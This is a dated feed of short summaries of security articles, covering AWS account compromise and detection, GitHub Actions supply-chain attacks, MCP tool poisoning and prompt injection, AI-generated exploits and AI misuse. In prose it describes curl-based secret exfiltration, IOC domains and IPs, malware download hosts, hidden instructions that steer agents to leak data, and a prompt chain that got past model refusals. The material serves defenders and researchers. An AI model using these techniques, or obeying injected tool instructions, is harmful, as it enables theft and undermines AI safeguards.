    • Roadmap: More secret types, automated liveness validation, and remediation workflows to revoke leaked secrets.
    • Code: Lives under veles in the google/osv-scalibr GitHub repo.

    Takeaway: Evaluate Veles in CI if you hold GCP or RubyGems credentials, but keep a broader scanner like TruffleHog or Gitleaks for coverage and liveness checks.

  • My AWS Account Got Hacked: Here Is What Happened
    summary

    TL;DR: A first-hand incident write-up of a personal AWS account compromised via an access key hardcoded in Next.js SSR code, leading to IAM persistence, EC2 abuse and attempted SES phishing.

    • Root cause: An S3 access key was hardcoded during development; the author did not realize SSR code was exposed to the browser.
    • Initial access: Attacker created an admin IAM user, then waited about six hours, likely to avoid alerts.
    • Compute abuse: Large Ubuntu 24.04 EC2 instance launched in us-east-2 with SSH open; crypto-mining suspected, unconfirmed; spend rose over 400%.
    • Persistence: Four more IAM users created, one named after the author.
    • Distraction: A spam flood (70+ emails in an hour) aimed to bury AWS notification emails.
    • Odd moves: Created an AWS Organization member account and closed it ~90 seconds later; used Resource Explorer for recon.
    • Phishing attempt: Found Route53 domains with SES and began DKIM setup; an SES DKIM notice tipped off the author.
    • Response: Deleted rogue users and keys, terminated instances, removed DKIM records, rotated OpenAI/GCP keys; AWS set an “Under Attack” state.
    • Lessons: Never hardcode keys, know what your framework exposes, enable GuardDuty, and do not let chatbots validate incident decisions.

    Takeaway: Scan web bundles and repos for AWS keys, prefer short-lived role credentials, and alert on new IAM users, unused regions and SES DKIM changes.

  • Fantastic AWS Policies and Where to Find Them
    summary

    TL;DR: A catalog of every place AWS access policies live, from identity policies and SCPs/RCPs to resource, “resource-ish”, RAM and Identity Center policies, plus a collection tool.

    • Principal policies: AWS/customer managed, inline user/role/group policies, permission boundaries and SCPs; boundaries and SCPs only limit, never grant.
    • Required resource policies: KMS key policies and IAM role trust policies; without a key policy grant, even root is denied.
    • Optional resource policies: VPC endpoint (allow-all by default), S3 bucket and access points, Organizations resource policy, SES sending authorization.
    • Coverage: About 27 services with resource policies listed, including Lambda, SQS, SNS, ECR, Secrets Manager, DynamoDB.
    • Resource-ish: Entity Resolution, IoT, CloudWatch account policies for log groups, and per-region Glue policies.
    • RCPs: Organization policies applied to resources, the counterpart of SCPs for principals.
    • Sharing: RAM shares 70+ resource types like subnets; Identity Center permission sets combine across all assignments; delegated admins matter.
    • Tool: @actsecurity/iam-collect (init, download) pulls IAM, org, resource, RAM and SSO policies into iam-data; IAM Lens analyzes effective access.
    • Caveats: SCPs can deny by omitting an Allow; S3 access points add their own policies; collected policies do not show effective access.

    Takeaway: When auditing access, inventory all these policy types across accounts, not just IAM roles; check VPC endpoint, KMS and RAM shares explicitly.

  • IAMhounddog: Identify Privileged Principals and Privilege Escalation in AWS
    summary

    TL;DR: IAMhounddog is a Go tool from Virtue Security that maps AWS IAM into BloodHound to expose privileged principals and second-order privilege escalation paths in unfamiliar accounts.

    • Problem: Tools like Cloudsplaining catch first-order issues such as iam:PutRolePolicy, but miss indirect paths through resources a principal can modify.
    • Example: A user in a group with Lambda full access can modify a function whose role has AdministratorAccess, inheriting admin indirectly.
    • How it works: Enumerates the account and writes output.json in BloodHound OpenGraph format for ingestion into BloodHound Community Edition.
    • Coverage: IAM users, roles, groups, inline and attached policies, trust relationships, Cognito identity pools, S3 bucket policies, and roles attached to EC2, ECS, EKS, Lambda, Glue, SageMaker and more.
    • Data model: Edges like awsAssumeRoleAllowed, iamPassRoleAllowed and action edges such as ec2RunInstances; s3:* is remapped to s3AllAccess.
    • Setup: go install github.com/VirtueSecurity/IAMhounddog@latest; optional -setup with a BloodHound API key installs icons and bundled Cypher queries.
    • Options: -profile, -regions (or -regions describe), -onlyroles, -onlyservices, -output.
    • Requirements: A principal with SecurityAudit or ReadOnlyAccess; results are limited to what that principal can read and the listed services.
    • AI use: The JSON can be fed to an AI agent with a sample prompt to enumerate escalation paths in plain language.

    Takeaway: Run IAMhounddog with a read-only audit role during AWS assessments to find indirect escalation via modifiable compute resources, then remove write access to resources carrying privileged roles.

  • AWS Detection Engineering: Mastering Log Sources for Threat Detection
    summary

    TL;DR: A detection engineer’s walkthrough of rebuilding AWS threat detection after a purple team found two weeks of undetected persistence, covering which log sources matter and sample Sigma-style rules.

    • Trigger: A purple team exercise showed an attacker persisting nearly two weeks undetected despite logging being “enabled”.
    • Foundation: CloudTrail and VPC Flow Logs come first; GuardDuty adds fast value but should not be the only layer.
    • Other sources: ALB access logs for web attacks, AWS Config for changes like disabled S3 public access blocks.
    • Cost: VPC Flow Logs and S3 Access Logs can generate massive volumes, so budget for them.
    • Sample rules: Suspicious CreateRole with external principals, bursts of ListAccessKeys/CreateAccessKey, root usage, console logins from new countries, DNS tunneling on port 53.
    • Tiering: Critical alerts get immediate response, high within 1 hour, medium within 4 hours.
    • Correlation: Python examples score matches across CloudTrail, flow logs and GuardDuty by time, source IP and resource.
    • Response: Automated playbooks attach AWSDenyAll and deactivate access keys for critical alerts.
    • Lessons: Context enrichment, automation, false-positive tuning, detection-as-code and continuous rule validation against true and false positive datasets.

    Takeaway: Prioritize CloudTrail plus VPC Flow Logs, manage detections as code, and continuously test rules against known attack data to prevent detection decay.

  • AWS CloudTrail Event Cheatsheet: A Detection Engineer’s Guide to Critical API Calls
    summary

    TL;DR: A cheatsheet mapping high-risk AWS CloudTrail event names to MITRE ATT&CK tactics, with attacker CLI commands and SQL detection queries for junior detection engineers.

    • Structure: Each tactic lists key events, the aws CLI commands an attacker runs, and a matching CloudTrail SQL query.
    • Initial access: ConsoleLogin, PasswordRecoveryRequested, AssumeRoleWithWebIdentity; alert on more than 5 failed logins per IP.
    • Execution: SendCommand, Invoke, RunInstances; flag SSM commands containing curl piped to bash.
    • Persistence: CreateUser, CreateAccessKey, CreateLoginProfile, AuthorizeSecurityGroupIngress opening 0.0.0.0/0.
    • Privilege escalation: PutUserPolicy, AttachUserPolicy, AddUserToGroup, watching for "*" policies or AdministratorAccess.
    • Defense evasion: StopLogging, DeleteTrail, PutEventSelectors, DeleteDetector, DeleteFlowLogs, DeactivateMFADevice.
    • Discovery: GetAccountAuthorizationDetails, ListUsers, GetCallerIdentity; flag more than 5 distinct discovery calls per hour.
    • Exfiltration: ModifySnapshotAttribute, ModifyImageAttribute, ModifyDBSnapshotAttribute sharing to foreign accounts, PutBucketPolicy.
    • Impact: PutBucketVersioning suspended, DeleteAccountPublicAccessBlock, DeleteDBInstance, large c5 instance launches for mining.

    Takeaway: Alert on logging tampering and cross-account snapshot or AMI sharing first, and use the per-tactic event lists as a baseline for CloudTrail detection coverage.

  • Implementing Granular Failover in Multi-Region Amazon EKS
    summary

    TL;DR: AWS shows how per-application Route 53 health checks let apps on shared multi-Region EKS clusters fail over independently instead of moving every app when one breaks.

    • Problem: Route 53 “Evaluate target health” on an ALB alias marks the whole ALB unhealthy if any target group fails, moving healthy apps too.
    • Architecture: Two Regions (eu-west-1, eu-central-1), EKS Auto Mode, AWS Load Balancer Controller with IP targets, latency-based Route 53 alias records.
    • How it works: Create an HTTP health check per app per Region against its own path, attach it to the alias, and set “Evaluate target health” to No.
    • Numbers: Four health checks for two apps, 30-second interval, failure threshold of 3; failover takes several minutes with default timers.
    • Test: Scaling app1 to zero replicas moves only app1 traffic to the other Region while app2 stays put.
    • Limits: ALB rule quotas cap apps per ALB, each app adds health check cost, and it does not work for path-based routing on one domain.
    • Caveats: HTTPS health checks do not validate TLS certificates; Route 53 checkers cannot reach private IPs, needing CloudWatch alarms or Lambda instead.
    • Gotcha: The console defaults “Evaluate target health” to Yes; the CLI requires setting it explicitly.

    Takeaway: On shared multi-Region clusters, attach app-specific health checks to Route 53 aliases and disable ALB-level target health evaluation so one failing app does not drag others cross-Region.

  • Introducing Headlamp Plugin for Karpenter
    summary

    TL;DR: A new Headlamp UI plugin gives real-time visibility into Karpenter node provisioning, scaling decisions and pending pods, aimed at debugging autoscaling behavior.

    • Context: Headlamp is a Kubernetes SIG UI project; Karpenter is a SIG Autoscaling node provisioner that launches and removes nodes.
    • Map view: Shows how NodeClasses, NodePool and NodeClaims relate to Pods and Nodes.
    • Metrics: Visualizes resource usage versus limits, allowed disruptions, pending pods and provisioning latency.
    • Scaling decisions: Shows which instances are provisioned and why Karpenter chose them.
    • Config editor: Live edits to Karpenter resources with diff previews and validation.
    • Pending pods: Dashboard highlights unmet scheduling requirements and FailedScheduling reasons.
    • Providers: Tested only on AWS and Azure; AlibabaCloud, GCP, Cluster API, Proxmox, OCI and Bizfly are untested.
    • Origin: Built as an LFX mentorship project; install steps live in plugins/karpenter/README.md.

    Takeaway: If you run Karpenter on EKS or AKS, add the Headlamp plugin to debug why pods stay pending and why specific instance types were chosen.

  • Kubernetes Gateway API in action
    summary

    TL;DR: AWS demonstrates Kubernetes Gateway API on EKS for ingress, weighted canary in a mesh, and default-deny egress, using Envoy Gateway and Linkerd instead of vendor annotations.

    • Problem: Ingress and Services need third-party CRDs or annotations for canaries and egress, and blur operator versus developer ownership.
    • Stack: Amazon EKS, Envoy Gateway, Linkerd, ExternalDNS with Route 53, and an internet-facing NLB via AWS Load Balancer Controller.
    • Role split: Gateway defines infrastructure owned by operators; HTTPRoute attaches via parentRefs and is owned by developers.
    • North-south: An HTTPRoute routes www.cal-llm.com to the web-app service on port 8080.
    • East-west: A GRPCRoute on the calendar Service splits 40% to calendar and 60% to calendar-v2 (GAMMA).
    • Egress: A Linkerd EgressNetwork named deny-all blocks outbound traffic, and a TLSRoute allows only api.mistral.ai:443.
    • Caveats: Egress is Linkerd-specific and enforced at proxies, so it can be bypassed; add NetworkPolicy as a second layer.
    • Versions: GRPCRoute and TLSRoute use v1alpha2 here and may change; no controller versions given.

    Takeaway: Use Gateway API to separate platform and app routing ownership, but back mesh-level egress allow-lists with Kubernetes Network Policies.

  • The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows
    summary

    TL;DR: GitGuardian’s write-up of GhostAction, a GitHub supply chain campaign that injected malicious workflows into 817 repositories and stole 3,325 CI/CD secrets.

    • Technique: Compromised accounts pushed .github/workflows/github_actions_security.yml (“Add Github Actions Security workflow”) triggered on push and workflow_dispatch.
    • Exfiltration: A curl step POSTed secrets to an attacker host; secret names were harvested from existing workflows and hardcoded.
    • Numbers: 327 GitHub users, 817 repositories, 3,325 secrets; 24 packages (9 npm, 15 PyPI) at immediate risk.
    • Secrets stolen: Mostly DockerHub credentials, GitHub tokens and npm tokens, plus PyPI, AWS, Cloudflare and database credentials.
    • IOCs: bold-dhawan.45-139-104-115.plesk.page, carte-avantage.com, objective-hopper.45-139-104-115.plesk.page, IP 45.139.104.115.
    • Timeline: First found via the FastUUID maintainer on September 5, 2025; PyPI set the project read-only the same day.
    • Impact: No malicious packages published at disclosure, but victims confirmed active use of stolen AWS keys and database credentials.
    • Follow-up: A later update reports a second wave of about 500 commits, mostly to previously hit repos; the initial access vector remains unknown.

    Takeaway: Rotate any CI secret exposed to unreviewed workflow changes, require review on .github/workflows/, scope secrets per environment, and block the listed IOCs.

  • Release Tampering PoCs: How to Tamper with Releases built with GitHub Actions
    summary

    TL;DR: Proof-of-concept research showing how a malicious maintainer can tamper with GitHub Actions-built releases while hiding traces, plus what defenders and consumers can check.

    • Scope: Assumes the attacker already has maintainer access; focuses on hiding tampering across SLSA Source, Build and Distribution phases.
    • Origin: Accompanies the fwd:cloudsec Europe 2025 talk “Continuous Integration / Continuous Deception”.
    • Path 1: GitHub Releases are mutable by default, so assets can be swapped after publishing; ReleaseEvent still records the original hash.
    • Path 2: A typosquatted Action (actlons/checkout) runs after the real checkout and alters files, then is hidden via mutable tags and repo deletion.
    • Path 3: A job container from an attacker-controlled Docker Hub image (hardenrunner/ubuntu) wraps gh to tamper during release, then the image is swapped clean.
    • Further paths: Self-hosted runners labelled ubuntu-latest and orphaned commits in the actions/checkout network are listed but were not in the content read.
    • Detection: Compare Events API digests with current assets, within its 300-event / 30-day window; check lookalike repo creation dates.
    • Mitigations: Enable immutable releases and verify immutable: true, pin Actions to full SHAs, monitor image digests, and scan pipelines with poutine or zizmor.

    Takeaway: Consume only immutable releases, pin every Action and job container by digest, and treat recently created or deleted Action repos in your pipelines as red flags.

  • pull_request_nightmare: Exploiting GitHub Actions for RCE and Supply Chain Attacks
    summary

    TL;DR: Orca Research shows how insecure pull_request_target workflows let a single fork PR execute code with secrets and write tokens in repos at Google, Microsoft and other large organizations.

    • Root cause: pull_request_target runs in the base repo context with secrets and a typically write-enabled GITHUB_TOKEN, without manual approval by default.
    • Exploit: The workflow checks out github.event.pull_request.head.sha and runs attacker-controlled scripts on a privileged runner.
    • Mistake 1: Write-enabled tokens such as contents: write and pull-requests: write let untrusted contributors push code.
    • Mistake 2: Secrets reachable by the job can be exfiltrated.
    • Mistake 3: Self-hosted runners exposed to external contributors through auto-approved workflows.
    • Mistake 4: Legacy repos relying on broad tokens created before GitHub’s 2021 permission changes.
    • Impact: RCE on runners, secret theft, pushes to main, PR manipulation and publishing to org-level GitHub packages.
    • Caveats: No vulnerable repo counts or CVEs given; affected projects are unnamed and findings were responsibly disclosed.

    Takeaway: Never check out or run PR head code in pull_request_target jobs, set least-privilege permissions: explicitly, and keep self-hosted runners away from fork-triggered workflows.

  • GitHub Actions Policy Now Supports Blocking and SHA Pinning Actions
    summary

    TL;DR: GitHub’s allowed actions policy can now block specific actions or versions and enforce full-SHA pinning, giving admins a direct response to malicious third-party actions.

    • Blocking: Prefix an action or version entry with ! to block it in the allowed actions and reusable workflows policy.
    • Precedence: The blocklist is evaluated last and overrides any rule that would otherwise allow the action.
    • SHA pinning: A new checkbox requires actions to be referenced by full commit SHA, stopping silent pulls of new code via tags or branches.
    • Enforcement: Any workflow using an unpinned action fails once pinning is required.
    • Scope: Settings apply at enterprise, organization and repository levels.
    • Limit: The pinning checkbox is unavailable where actions are disabled at that level.
    • Roadmap: Immutable releases, whose assets and tags cannot be changed or deleted, with release attestations and Dependabot support.
    • Docs: Allowed actions docs and the GitHub Well-Architected Actions security guidance were updated to match.

    Takeaway: Pin actions to SHAs with Dependabot updates first, then enable the enforcement checkbox at org level and use ! blocks for known-compromised actions.

  • A Security Engineer’s Guide to MCP
    summary

    TL;DR: Semgrep’s primer on the Model Context Protocol for security engineers: its architecture, transports, MCP-specific attacks, and server and client hardening checklists.

    • What it is: A JSON-RPC 2.0 tool interface where the caller is an LLM, built from resources, tools, prompts, roots, elicitation and sampling.
    • STDIO transport: Local child process; audit for command injection and privilege escalation across tools with different privileges.
    • HTTP transport: All classic web and API bugs apply, including request smuggling, path traversal and injection.
    • Tool poisoning: Hidden instructions in the tools/list response influence the model before any tool is called.
    • Shadowing and rug pulls: Duplicate tool names across servers, and approved servers silently changed later, since the spec does not require re-approval.
    • Sampling abuse: No isolation is required, so a malicious server could learn other servers’ tool names and register collisions.
    • Real bug: Semgrep found a path traversal in its own early MCP server via improper root checking, limited by a low-privilege container user.
    • Server checklist: Validate Origin, rate-limit tool calls, validate paths against roots, and use OAuth 2.1 with audience validation for HTTP auth.
    • Client checklist: Treat tool descriptions and outputs as untrusted, require approval for sampling and first run, and use fully qualified tool names.

    Takeaway: Inspect MCP servers deterministically with MCP Inspector before trusting them, require auth on HTTP servers, and treat every tool description as untrusted input.

  • MCP Scanner: Scan MCP Servers for Potential Threats and Security Findings
    summary

    TL;DR: Cisco AI Defense’s MCP Scanner is an Apache-2.0 Python tool that scans MCP servers, tools, prompts and packages for poisoning, malware and vulnerable dependencies.

    • Analyzers: YARA rules, LLM semantic analysis, Cisco AI Defense API, readiness heuristics (20 rules) and prompt-defense regex checks for 12 attack vectors.
    • Code analysis: A behavioral analyzer compares docstring claims to implementation with cross-file dataflow across languages including Python, Go, Rust and TypeScript.
    • Supply chain: VirusTotal hash lookups, pip-audit CVE checks, and Docker-sandboxed pypi-scan / npm-scan that never execute package code.
    • Commands: remote, stdio, config, known-configs (Cursor, Claude, VS Code, Windsurf), static for offline JSON in CI, and protocol probes.
    • Modes: CLI, REST API via mcp-scanner-api, and a Python SDK (mcpscanner).
    • Install: uv tool install cisco-ai-mcp-scanner; requires Python 3.11+.
    • LLMs: Tested with GPT-4o, GPT-4.1 and Bedrock Claude 4.5 Sonnet; local endpoints like Ollama work but need a placeholder key.
    • Limits: API analyzer needs a Cisco subscription; VirusTotal free tier allows 4 requests per minute and 500 per day.
    • Caveats: Heuristic checks flag missing defenses, not confirmed attacks; protocol probes do not call tools.

    Takeaway: Run mcp-scanner known-configs on developer machines and the static mode in CI to catch poisoned or vulnerable MCP servers before agents use them.

  • MCP Tools: Attack Vectors and Defense Recommendations for Autonomous Agents
    summary

    TL;DR: Elastic Security Labs catalogs attack vectors against MCP tools, from classic injection bugs to tool poisoning and orchestration attacks, and offers defensive recommendations.

    • Traditional bugs: MCP servers inherit command and SQL injection; a cited March 2025 study found high rates of command injection among public servers.
    • Tool poisoning: Hidden instructions in descriptions or parameters override behavior or pull system prompts, history and environment details.
    • Obfuscation: Invisible Unicode or Base64 hides instructions from human reviewers and keyword filters.
    • Implicit manipulation: A never-called tool’s description can alter how the model uses another tool, such as a payment tool.
    • Rug pulls: Tools approved in benign form are later redefined without triggering re-approval.
    • Name collision: Lookalike tools from different servers, such as a fake file reader that skips path validation.
    • Orchestration injection: Hidden instructions in GitHub issues or Jira tickets drive agents to leak private data, especially with “always allow” enabled.
    • Detection: A zero-shot LLM review of tool definitions flagged several examples but is explicitly a demo, not production-ready.
    • Defenses: Sandbox clients and servers in containers, apply least privilege, require human approval for sensitive actions and log every tool call.

    Takeaway: Disable auto-run and “always allow” in privileged agent contexts, sandbox MCP servers away from local credentials, and audit tool invocation logs regularly.

  • Can AI Weaponize New CVEs in Under 15 Minutes?
    summary

    TL;DR: Researchers built an LLM agent pipeline that turns newly published CVEs into validated exploits in about 10-15 minutes for roughly $1 each, threatening defenders’ patch windows.

    • Thesis: With about 130 CVEs published daily, automated exploit generation could shrink the patch-to-exploit gap from weeks to minutes.
    • Stage 1: Pulls GitHub Advisories and NIST data, clones the repo, extracts the patch and writes a research report as agent context.
    • Stage 2: Separate agents write a vulnerable test app and an exploit, iterating against each other in Dagger sandboxes.
    • Validation: Exploits run against both vulnerable and patched versions to filter false positives.
    • Models: Claude Sonnet 4.0 worked best; Opus gave negligible gains at about five times the cost; local qwen3:8b and gpt-oss:20b were used for experiments.
    • Guardrails: Hosted models that first refused exploit work stopped refusing once a long step-by-step prompt chain was used.
    • Examples: CVE-2025-54887 (Ruby JWE bypass), GHSA-w2cq-g8g3-gm83 (JS prototype pollution), GHSA-9gvj-pp9x-gcfr (Python pickle sanitizer bypass).
    • Results: 10 working exploits at publication; no overall success rate or attempt count reported.
    • Limits: Small sample, author-reported speed and cost, hand-written environments, and complex CVEs likely harder.

    Takeaway: Assume public exploits can appear within minutes of a CVE advisory and shorten patch SLAs for exposed services, backed by compensating controls like WAF rules.

  • SSH LLM Honeypot Caught a Real Threat Actor
    summary

    TL;DR: A Beelzebub SSH honeypot backed by an LLM fooled a real attacker into staging a Perl IRC botnet, exposing its download host and C2 channels.

    • Setup: Beelzebub configured by one YAML file (ssh-2222.yaml) on port 2222, OpenSSH banner, weak passwords like root, 123456, jenkins accepted.
    • How it works: Command regex ^(.+)$ routes every command to the LLMHoneypot plugin, which asks gpt-4o (or local Llama) to fake shell output.
    • Attack: Login from 45.175.100.69 with admin/123456, recon via uname -a, uptime, nproc, then downloads into /tmp and /var/tmp.
    • Payloads: A Perl script disguised as sshd (about 84 KB) and emech.tar.gz (about 100 KB), fetched from a compromised old Joomla site, deep-fm.de.
    • Malware: “rootbox PerlBot v2.0” joins ix1.undernet.org:6667, channels #rootbox and #c0d3rs-TeaM, for remote command execution and DoS.
    • Follow-up: Author joined the IRC channels, saw the attacker active, and reported them to Undernet for takedown.
    • Caveats: Single incident; LLM-generated output may explain repeated failed executions; no hashes published; takedown outcome not confirmed.
    • Bias: Published by the vendor of Beelzebub, so framing is promotional.

    Takeaway: LLM-backed honeypots are cheap to deploy and can extract attacker tooling and C2 details; block weak SSH credentials and watch for downloads into /tmp and /var/tmp.

  • Detecting and countering misuse of AI: August 2025
    summary

    TL;DR: Anthropic’s August 2025 threat intel report shows criminals using Claude agentically for extortion, North Korean job fraud, and ransomware-as-a-service, lowering the skill bar for cybercrime.

    • Vibe hacking: One actor used Claude Code to automate recon, credential harvesting and intrusion against at least 17 organizations, including healthcare and government.
    • Extortion model: No encryption; threatened data leaks, with ransom demands sometimes over $500,000 set by Claude’s analysis of stolen financials.
    • DPRK fraud: North Korean operatives used Claude to build fake identities, pass coding tests and do the actual work at US Fortune 500 tech firms.
    • Why it matters: The scheme previously required years of training; AI lets operators with no coding or English skills keep jobs.
    • Ransomware-as-a-service: A low-skill actor built and sold ransomware variants with evasion and anti-recovery features for $400 to $1,200 on forums.
    • Response: Account bans, a tailored classifier, new malware-generation detection, and indicators shared with authorities and partners.
    • Key finding: Agentic AI now performs attacks, not just advises, and is used across every stage from victim profiling to data analysis.
    • Caveats: Actors unnamed; displayed ransom note and “profit plan” are simulations; claims about actor dependence on Claude are Anthropic’s assessment.

    Takeaway: Assume low-skill attackers can now run multi-stage intrusions and extortion; tighten remote-hire identity verification and treat data-theft extortion without encryption as a primary scenario.

  • Good CISO / Bad CISO
    summary

    TL;DR: Phil Venables and Mike Aiello contrast good and bad CISOs, arguing that ownership, strategy and business framing matter more than budget or tools.

    • Core thesis: A good CISO is a business executive managing technology risk; a bad one is an IT manager running security tools and making excuses.
    • Ownership: Good CISOs own resilience outcomes; bad ones blame funding, developers, users or the board.
    • Strategy: A plan or vendor list is not a strategy; good strategy sets the “what” and generates work for other teams.
    • Scaling: Build flywheels that lower the unit cost of control and make the secure path easy, instead of running a reactive “fire station”.
    • Vendors: Push vendors to build security in and reduce demand through risk avoidance, rather than buying more tools.
    • Communication: Speak in risk and capital terms, publish written positions, and treat risk as “Hazard + Outrage”.
    • Culture: Reward bad news early, develop successors and security champions, and avoid becoming a single point of failure.
    • Board: Teach the board the right meta-questions to create shared accountability, not status reports that defend budget.
    • Caveats: Opinion piece adapted from a16z’s “Good Product Manager, Bad Product Manager”; no data or statistics.

    Takeaway: Audit your security program against the table: replace ticket-count metrics with secure-by-default flywheels and write down your positions in business terms.

30.06.2025

  • Announcing EKS Dashboard: A Multi-Cluster View of Kubernetes Infrastructure Across AWS Regions and Organizations
    summary

    TL;DR: AWS made the EKS Dashboard generally available in May 2025, giving one view of EKS clusters across Regions and accounts in an AWS Organization.

    • What: Centralized, multi-cluster view of clusters, managed node groups and EKS add-ons without switching Regions or accounts.
    • Versions: Shows Kubernetes versions per cluster and their support status.
    • Upgrades: Flags clusters facing upcoming end-of-life auto-upgrades.
    • Inventory: Lists managed node group AMI versions and EKS add-on versions.
    • Access: Requires an AWS Organizations management account or delegated administrator account, via the EKS console.
    • Region: Accessed from us-east-1, aggregates metadata from all commercial AWS Regions.
    • Pricing: No additional cost.
    • Limits: Announcement lists no quotas, cluster counts or data freshness details.

    Takeaway: Enable it from a delegated admin account to catch clusters approaching end-of-support auto-upgrades and drifting add-on or AMI versions across the org.

  • Multi-VPC Load Balancing for Amazon EKS Workloads
    summary

    TL;DR: Walkthrough for running EKS in one VPC while the AWS Load Balancer Controller provisions NLBs and ALBs in a separate, peered VPC.

    • Problem: The controller defaults to the cluster VPC, but perimeter isolation, compliance or a central network team may need load balancers elsewhere.
    • Architecture: VPC A holds the cluster in private subnets, VPC B holds public load balancers, joined by VPC peering (Transit Gateway mentioned only).
    • Key setting: Install Helm chart eks/aws-load-balancer-controller with vpcId set to VPC B’s ID.
    • IAM: Uses the eks-pod-identity-agent add-on and a Pod Identity association with the awsLoadBalancerController well-known policy.
    • Routing: Every route table in both VPCs needs a route to the other CIDR via the peering connection.
    • NLB: LoadBalancer Service with aws-load-balancer-type: "external", nlb-target-type: "ip", scheme: "internet-facing".
    • ALB: Ingress with ingressClassName: alb and alb.ingress.kubernetes.io/target-type: ip.
    • Requirements: Target type must be ip; VPC B subnets need kubernetes.io/role/elb or kubernetes.io/role/internal-elb tags.
    • Caveats: Mixes us-west-2 and us-east-1 in commands; skips CIDR planning, cross-VPC security groups and Transit Gateway details.

    Takeaway: To centralize ingress in a network VPC, set vpcId on the controller, use IP targets, tag subnets, and verify with aws elbv2 describe-load-balancers.

  • devpush: Self-Hosted, Open-Source Vercel Alternative for Docker Workloads
    summary

    TL;DR: /dev/push is an MIT-licensed, self-hosted, Vercel-like deployment platform that builds and deploys any Docker workload from GitHub pushes.

    • What: Open-source alternative to Vercel, Render and Netlify, supporting Python, Node.js, PHP and anything that runs in Docker.
    • Features: Git push deploys, zero-downtime rollouts, instant rollback, branch-mapped environments and encrypted environment variables.
    • Ops: Live searchable build and runtime logs, RBAC with team invites, custom domains with automatic Let’s Encrypt certificates.
    • Stack: Docker Compose with a Docker API proxy, PostgreSQL, Redis, Alembic migrations, systemd, GitHub App for login and repo access.
    • TLS: ACME HTTP-01 or DNS-01 via Cloudflare, Route53, gcloud, DigitalOcean or Azure.
    • Setup: Install script piped to sudo bash, create a GitHub App, edit /var/lib/devpush/.env, add A and wildcard DNS records.
    • Requirements: Ubuntu 20.04+ or Debian 11+, Resend or SMTP for email; other distros untested.
    • Caveats: Without DEFAULT_CPUS and DEFAULT_MEMORY_MB, deployments have no resource limits; no documented scaling limits.

    Takeaway: Good fit for a single-server PaaS; set default CPU and memory limits and review the install script before piping it to root.

  • Lefthook: Fast and Powerful Git Hooks Manager for Any Type of Project
    summary

    TL;DR: Lefthook is a fast, single-binary Git hooks manager from Evil Martians that runs per-file-filtered commands in parallel across any language ecosystem.

    • What: MIT-licensed Git hooks manager written in Go, usable in Node.js, Ruby, Python and other projects.
    • Speed: Commands can run in parallel with parallel: true.
    • Filtering: Pass only relevant files via glob, exclude, regex, and placeholders like {staged_files} or {all_files}.
    • Features: Tags for grouping, subdirectory execution, script files, Docker runners, and output control.
    • Config: Shared lefthook.yml, plus personal overrides in lefthook-local.yml.
    • Workflow: Write lefthook.yml, run lefthook install once, then commit as usual; lefthook run <group> runs hooks manually.
    • Install: go install, npm dev dependency, gem install lefthook, pipx, Homebrew, Winget, deb, RPM, Arch, Alpine.
    • Why: No runtime dependencies, so the same tool works in polyglot monorepos.

    Takeaway: Replace Husky or ad-hoc hook scripts with Lefthook to run linters and secret scanners on staged files only, keeping pre-commit fast.

  • What Is a Detection Engineer?
    summary

    TL;DR: Zack Allen’s Field Manual opener explains why Detection Engineering exists: finding attackers who bypassed preventive controls, which depends entirely on telemetry from known assets.

    • Definition: A blue-team specialist who detects threat actors infiltrating and moving through a network, successor to classic “threat detection”.
    • Framing: Mapped onto NIST CSF functions; the role focuses on Detect, sometimes Respond.
    • Core principle: “There is no detection without telemetry”, and no telemetry without identified assets, citing Locard’s Exchange Principle.
    • Loop 1: Ideal state where known assets and controls eliminate whole attack classes.
    • Loop 2: Hedge for when Loop 1 fails; detection lives here and aims to find malicious activity fast.
    • Loop 3: When containment fails to limit business impact; lessons feed back into Loops 1 and 2.
    • Examples: Credential phishing, malicious downloads from pirated-software searches, exploitation of internet-facing vulnerabilities.
    • Hiring: Production-grade coding, deep expertise in one area (OS, cloud, network, IR, threat intel), and a customer mindset toward IT, vuln management and SOC.
    • Caveats: Opinion based on the author’s experience leading nearly 50 people; loop model is his own framing; rules and alerting deferred to later posts.

    Takeaway: Start detection work with an asset inventory and telemetry coverage, then push lessons from incidents back into preventive controls.

  • DNS Rebinding Attacks Explained: The Lookup Is Coming From Inside the House!
    summary

    TL;DR: GitHub Security Lab explains how DNS rebinding lets a malicious web page reach unauthenticated local services, demonstrated by reading secrets from the Deluge BitTorrent WebUI.

    • Root cause: Browsers bind origin to hostname, not IP, so an attacker domain can be re-resolved to 127.0.0.1 or a LAN address while staying same-origin.
    • Limit: Cookies for the real local app are not sent, so unauthenticated endpoints are the main target.
    • Case study: Deluge WebUI’s unauthenticated /js endpoint had a path traversal via /js/known_keyword/../, fixed in v2.2.0.
    • Impact: Reading web.conf exposed a salted SHA1 admin hash and sessions; with a session, CVE-2017-7178’s plugin technique via /json gives code execution.
    • Technique: Iframes on subdomains, DNS alternating between 0.0.0.0 and the real server with short TTL, retrying until rebinding succeeds on port 8112.
    • Tools: rbndr by Tavis Ormandy and NCC Group’s Singularity of Origin.
    • Browser defenses: DNS caching and draft Local Network Access (CORS-RFC1918) help but leave bypasses such as 0.0.0.0 on Linux and macOS.
    • Mitigations: Serve local apps over HTTPS, require authentication, and validate the Host header against a strict allow list.
    • Advisories: GHSL-2024-188 and GHSL-2024-191.

    Takeaway: Treat every localhost or intranet HTTP service as reachable from a victim’s browser; enforce Host header allow lists and authentication even on internal tools.

  • High Leverage Security Decisions
    summary

    TL;DR: Five foundational choices made early (IdP, security keys, IaC, managed infrastructure, MDM) give startups more security than bolt-on tools or bigger security teams.

    • Thesis: Biggest gains come from operational excellence, not buying tools; decisions get cheaper and more effective the earlier they are made.
    • Identity provider: Google Workspace, Okta or Entra ID for SSO, MFA, SCIM and audit logs, roughly $6 to $15 per user per month.
    • IdP caveats: Avoid self-hosted open source unless you can staff a specialist (about $150k a year); budget for vendors’ “SSO tax”.
    • Security keys: Issue two YubiKeys per employee (about $50 to $75 each) as the default phishing-resistant MFA for sensitive systems.
    • IaC: Terraform or OpenTofu in Git for history, review and drift reversion, scanned with Semgrep, tfsec or Snyk.
    • Managed infra: AWS Fargate, RDS and Aurora offload patching, backups and multi-AZ, aligning with the DIE triad (Distributed, Immutable, Ephemeral).
    • MDM: Intune for Windows, Apple Business Manager with Kandji or Jamf Pro for Macs, so devices enroll on first boot.
    • Caveats: Managed services cost more, Fargate has limits, MDM enrollment alone adds no security, and most advice is general IT practice.

    Takeaway: At any new company, lock in an IdP with hardware-key MFA and IaC-only changes before headcount grows and retrofitting becomes debt collection.

